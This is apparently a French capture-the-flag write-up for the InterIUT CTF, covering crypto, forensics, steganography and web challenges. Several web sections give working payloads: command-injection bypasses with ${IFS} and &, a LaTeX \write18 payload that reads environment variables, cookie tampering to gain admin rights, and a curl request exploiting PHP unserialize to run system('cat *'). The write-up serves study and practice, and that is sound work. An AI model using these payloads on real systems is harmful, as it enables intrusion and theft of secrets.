---
# System prepended metadata

title: Le SAGE doré (Crypto)

---

## Shareflags avec moi-même (write-up)

# Le SAGE doré (Crypto)
> Le SAGE doré (Crypto | 20pts)
> 
> Le vieux sage du village se rappelle avoir reçu un message chiffré il y a longtemps par l'un de ses disciples, mais a malheureusement depuis perdu la clé privé correspondante.
> Il a directement pensé à vous et pense que cet mission sera parfaite pour débuter votre ascension vers la voie du SAGE, retrouvez la clé privé ainsi que le contenu du message.
> 
> Commencez votre aventure ici : https://tinyurl.com/y4qvu9lv
> 
> Voilà quelques ressources pour vous aider dans cette tâche :
> - http://doc.sagemath.org/html/en/reference/cryptography/index.html
> - https://www.unilim.fr/pages_perso/vincent.jalby/resources/commun/IntroSage2.pdf
> 
> Masterfox / Locky

Lien vers une session SAGE en ligne, cryptosytème de BlumGoldWasser
Sur Wikipédia on voit que sa sécurité tiens de la factorisation en nombre premier.
pub_key a l'air suspect, sur factordb on trouve sa décomposition: 
**5408427171993143** et **1489304211816227**
Sur la doc on confirme que la clé publique est facteur et p et q
On peut génerer la clé privée de la même façon... et décrypter le flag en utilisant la clé privée
```python=
bg = BlumGoldwasser()
p, q = 1489304211816227, 5408427171993143
priv_key = bg.private_key(p, q)
flag = bg.decrypt(encrypted_flag, priv_key)
print(bin_to_ascii(flatten(flag)))
```
-> H2G2{0k_B0om3R}

# La voie du SAGE (Crypto)

> La voie du SAGE (Crypto | 50pts)
> 
> Vous souhaitez commencer un entrainement avec le vieux sage du village car vous souhaitez apprendre la voie du SAGE, afin qu'il devienne votre maitre, il vous met au défi de récupérer le flag chiffré en vigenère avec une clé chiffré elle même par un chiffrement ancien et connu.
> 
> https://tinyurl.com/yyy57bgf
> 
> Mastefox / Locky

Lien vers une session SAGE en ligne, chiffrement de Vigenère
Dans la doc on voit la fonction vigenere.inverse_key()
On trouve facilement le flag:
```python=
flag = vigenere.enciphering(ciphered_flag, vigenere.inverse_key(ciphered_key))
print(flag.decoding())
```
-> H2G2{S4ge_CrYpt0_1s_3Z}

# Ping ! Pong ? (Forensics)
>Ping ! Pong ? (Forensic | 20pts)
>
>Toc Toc Toc
>
>lambdhack

On reçoit un .pcapng rempli d'échange ICMP
Le champ data change à chaque fois (reste le même pour les réponses par contre), probablement une exfiltration de données.
En effet, c'est ça. Le champ de données correspond à une lettre au fur et à mesure envoyée.
Avec un petit script, on récupère facilement le flag entier:
->H2G2{y0u_r34lly_7h1nk_y0u'r3_60nn4_b3_4bl3_70_c0py_7h3_fl46_m4nu4lly?_y0u'd_b3773r_m4k3_4_5cr1p7_70_3x7r4c7_7h15_v3ry_v3ry_v3ry_v3ry_l0000000nnnnnnnnnnnnnnn666666666_fl46_7h47_y0u'll_n3v3r_h4v3_71m3_70_c0py!_l0r3m_1p5um_d0l0r_517_4m37,_c0n53c737ur_4d1p15c1n6_3l17,_53d_d0_31u5m0d_73mp0r_1nc1d1dun7_u7_l4b0r3_37_d0l0r3_m46n4_4l1qu4._u7_3n1m_4d_m1n1m_v3n14m,_qu15_n057rud_3x3rc174710n_ull4mc0_l4b0r15_n151_u7_4l1qu1p_3x_34_c0mm0d0_c0n53qu47._du15_4u73_1rur3_d0l0r_1n_r3pr3h3nd3r17_1n_v0lup7473_v3l17_3553_c1llum_v3r174715_37_qu451_4rch173c70_b34743_v1743_d1c74_5un7_3xpl1c4b0._n3m0_3n1m_1p54m_v0lup7473m_qu14_v0lup745_517_45p3rn47ur_4u7_0d17_4u7_fu617,_53d_qu14}

# Récupération de données (OSINT)
> Récupération de données 1 (OSINT | 20pts)
> 
> Récupérez le mail du RSSI de Random Corp, la fameuse entreprise vannetaise
> 
> Masterfox

On cherche "Random Corp Vannes" sur Internet, on tombe sur une page LinkedIn, Jean-Michel Lapoutre.
Dans ses amis, on trouve la RSSI de l'entreprise: Gisèle Le trou
On va sur sa page, et on retrouve son email sur son CV (Enregistrer au format PDF)
-> gisele.dutrou@gmail.com

# PNL, MHD, NTM, SCH, MSB (Stéganographie)
>PNL, MHD, NTM, SCH, MSB (Stegano | 10pts)
>
> Une exclu vient d'être publiée dans Maga-rap, le magazine du vrai rap !
> Ces rappeurs ont tous un grand point commun, vous n'allez pas en revenir !!!! 
> Le rouge est leur couleur préférée. Trouvez comment ils ont réussi à cacher des informations dans cette image. 
> 
> Masterfox
>[Image](https://i.imgur.com/9GAUJvv.jpg)

On a une image, on remarque en haut à gauche, une colonne de pixels anormalement rouge. On imagine (indice dans le titre aussi) qu'il s'agit d'une MSB sur le rouge.
On concatène les bits de poids forts de la couleur rouge de chaque pixel de la colonne (en partant du haut), puis on prends par paquet de 8 et on décode...
-> H2G2{LSB_1S_0V3RRAT3D}

# 1110011 1100001 1101100 1110101 1110100

>1110011 1100001 1101100 1110101 1110100 (Programmation | 20 points)
> 
>2202 1110 10121 10220 11001 10202 11020 10121 10220 11021 1012 11021 10121 11101 11010 10220 11020 1012 10200 11010 11001 11001 10202 11002 11022 1012 10210 10121 10220 11020 10202 1012 11100 11002 10202 1012 10122 11010 11002 11002 10202 1012 11011 11100 11020 10202 10202
>
>salut.interiut.ctf:1337

Le texte d'intro nous donne un bon indice, il faut décoder des textes donnés. En se connectant l'on reçoit un texte en binaire, puis un en base 3, puis base 4... On conjecture que la base s'incrémente à chaque fois, et avec quelques erreurs, on réussit à aller jusqu'à la base 31 (il faut automatiser aussi, sinon on est trop lent)
```python=
from pwn import * #J'ai utilisé pwntools mais c'était pas nécessaire pour ici

def decode_string(s, base = -1):
    decoded = ""
    for i in s.split():
        decoded += chr(int(i, base))
    return decoded

if __name__ == '__main__':
    conn = remote("salut.interiut.ctf", 1337)

    for i in range(2,32):
        enc = conn.recvline().decode().strip()
        dec = decode_string(enc, i)
        conn.send(dec)
        # log.info(str(i) + '- ' + enc + ' : ' + dec)

    flag = conn.recvline().decode().strip()
    log.success(flag)
```
On récupère le flag à la fin du programme, non encodé
-> H2G2{D0_y0u_l1k3_14_pur33_?}


# Skull 1
>  Skull partie 1 (Web | 10 points)
> 
> Dans votre recherche de vérité sur internet vous tombez sur ce site de publication d'articles quelques peu originaux. Un marabout vous a confié que les mauvais esprits sont présents et qu'une malédiction s'est abatue sur ce site. Découvrez les secrets de ce site !
> 
> http://skull-1.interiut.ctf/

Il y a un indice sur les robots, du coup on recherche robots.txt >
> User-Agent: *
> Disallow: /admin_login.php
> Disallow: /admin_logout.php
> Disallow: /admin_site.php
> Disallow: /you_will_never_find_the_first_flag.txt

On regarde le contenu de you_will_never_find_the_first_flag.txt
-> H2G2{Skull1_Y0u_fOunD_m3_n1cE_bUt_th3re_iS_an_OthEr_st3P}

# DédéOS 1

>DédéOS 1 (Web | 10 points)
>
> Serveur de déni de service en masse pour les 1337 h4xorz. Essayer de prouver au propriétaire que c'est de la merde. Lire le fichier contenant le flag.
> 
> http://dedeos-1.interiut.ctf/

On voit un site avec un champ, si on mets notre IP on voit que ça nous ping. Peut-être une implem ratée et une RCE, on mets un ; et on execute notre commande, y a pas de retour (1 > /dev/null) mais en rajoutant un ; à la fin ça marche, le flag est un peu caché mais on le trouve facilement
-> H2G2{y3aH_b4sH_yoU_knOW}

# DédéOS 2
>  DédéOS 2 (Web | 20 points)
> 
> Le propriétaire s'est rendu compte de votre talent, il vous met au défi de nouveau
> 
> http://dedeos-2.interiut.ctf/

Même problématique, seul changement, on a plus le droit aux espaces.
Après quelques recherches sur Internet on remarque qu'on peut utiliser ${IFS} à la place. Même recherche de flag...
-> H2G2{w0w_4gaIN??_w1ll_b3_h4rdER_n3xT_T1me}

# DédéOS 3
>  DédéOS 3 (Web | 50 points)
> 
> Boss final des H4k3rs d'élite, le développeur a bien travailler sur cette version plus sécurisée.
> 
> http://dedeos-3.interiut.ctf/

Encore une fois, même principe, mais avec une restriction sur les ; en plus.
Pas grave, au lieu d'utiliser ; on utilise &, même comportement (pour notre cas)
-> H2G2{Y0u_4r3_s0_g0oD_4t_h4ck1NG!}

# cOnNaiSseZ-vOuS lE LaTeX ?
>  cOnNaiSseZ-vOuS lE LaTeX ? (Misc | 20 points)
> 
> Pour améliorer sa prise de notes votre bon ami scribe s'est créé un éditeur de LaTeX en ligne. Découvrant encore le développement informatique, son site est vulnérable, récupérez le contenu de la variable d'environnement FLAG stockée sur le serveur pour lui montrer à quel point.
>
> http://connaissez-vous-latex.interiut.ctf/

Le site nous dirige vers un compilateur LaTeX, je regarde sur internet si il y a des RCEs possible. En effet, il est possible, on doit juste faire attention à ne pas utiliser input, flag ou FLAG. à part ça pas trop de problème. On récupère le flag dans les variables d'environnement...
```
\immediate\write18{env|grep FLA|base64> output2}
\newread\file
\openin\file=output2
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file
```
-> H2G2{LaTeX_c0mp1l4t10n_w1th0ut_s3cur1ty_fl3gz_15_2_r15ky}

# Ninja name generator
> Votre petit cousin est un fan de mangas, il a donc créé un site pour se plonger dans son univers favoris. Prouvez à ce weeb que la sécurité c'est important en trouvant la configuration de son serveur.
> 
> http://ninja-name-generator.interiut.ctf/

On voit un champ, gràce aux indices on devine qu'il s'agit d'une Server-Side Template Injection (SSTI), en bidouillant un peu on voit un truc suspect dans la config: _5uPer_s3cret_
Et par hasard dans les erreurs, on remarque qu'il y a un chemin pour obtenir le flag... On essaye et on trouve le flag
(d'ailleurs les RCE normales ont échouées j'ai pas compris pourquoi)
-> H2G2{j1nJ4_1s_s3cure}

# Impossible vous pensez ?
> Un leet lamer vous met au défi d'exécuter une fonction en PHP.
> 
> impossible.interiut.ctf

C'est gentil, le site nous donne le code source de la page, on voit qu'en passant une fonction (sans paramètres) au paramètre code on peut l'éxecuter. On doit exécuter RecuperationDuMotDePasse mais il y a un check qui vérifie que RecuperationDuMotDePasse n'est pas présent dans code.
Heureusement, RecuperationDuMotDePassE fonctionne, on récupère le flag...
-> H2G2{pHp_15_7he_B3st}

# Céréales en ligne
> Après sa publication lors des mini-challenges, le propriétaire du site à remarqué un petit problème de sécurité sur son site.
> 
> http://cereales-en-ligne.interiut.ctf

Site lambda, un champ de connexion, une page Administration...
Le cookie SESSION est encodé en base64 mais c'est du json (?) et on voit un champ isAdmin, en le modifie en 1, et en allant sur la page Administration, on nous dit que l'id 42 est invalide aussi, je le modifie en 0, et l'accès nous est autorisé...
-> H2G2{1_liKe_s3ri4LIsati0n!}

# Air CnC
> Vous avez découvert par hasard un site web étrange, il évoque des machines robots et d'ordres à leur donner... Qu'est-ce que c'est qu'est-ce que c'est ?
> 
> http://air-cnc.interiut.ctf

Réflexion un peu plus intense sur celui-là... On a encore un champ à remplir, en fait il s'agissait d'une SSTI encore (confirmée avec {{1+1}} qui renvoie 2). J'en profite pour utiliser un outil que je pouvais pas utiliser avant: splmap.
J'ai un accès à la machine facilement, et en cherchant un peu on trouve le flag à la racine.
-> H2G2{v3ry_S3cuRed_P4n3l!}

# MonSQL injection 1
> L'ANESCIE vient d'approuver un nouveau Langage Structuré de Demande. Testez-le et essayez de récupérer le flag.
> 
> http://monsql-injection-1.interiut.ctf

On a accès a une console de commande MonSQL (MySQL traduit en français lol), en regardant la cheatsheet on voit qu'on peut exécuter les commandes:    
```
MONTREMOI lestables;
SÉLECTIONNE * ÀPARTIRDE reponses;
```
Ce qui nous donne le flag, (la table utilisateurs ne sert à rien)
-> H2G2{j_3sper3_qu3_v0us_4v3z_tr0uv3_ca_f4cil3_?}

#  :shrug:
> :shrug: (Web | 50 points)
> 
> ¯\\_('')\_/¯
> 
> http://shrug.interiut.ctf

On nous donne un fichier, on voit qu'il faut passer un objet à unserialize et passer par eval (donc RCE). On trouve facilement sur Internet le payload que l'on souhaite. Une fois avec la RCE on affiche tout et on voit le flag. (ne pas oublier d'url-encode les caractères spéciaux)
```
curl --data "stand=Hermit+Purple" 'shrug.interiut.ctf/?dio=O:8:"Boussole":1:%7bs:5:"order";s:16:"system(%27cat+*%27);";%7d&jotaro=A'
```
-> H2G2{Uns3rial1z4tiOn_iS_eAsY_r1ght?} (était sous la forme ENSIBS{} au départ)

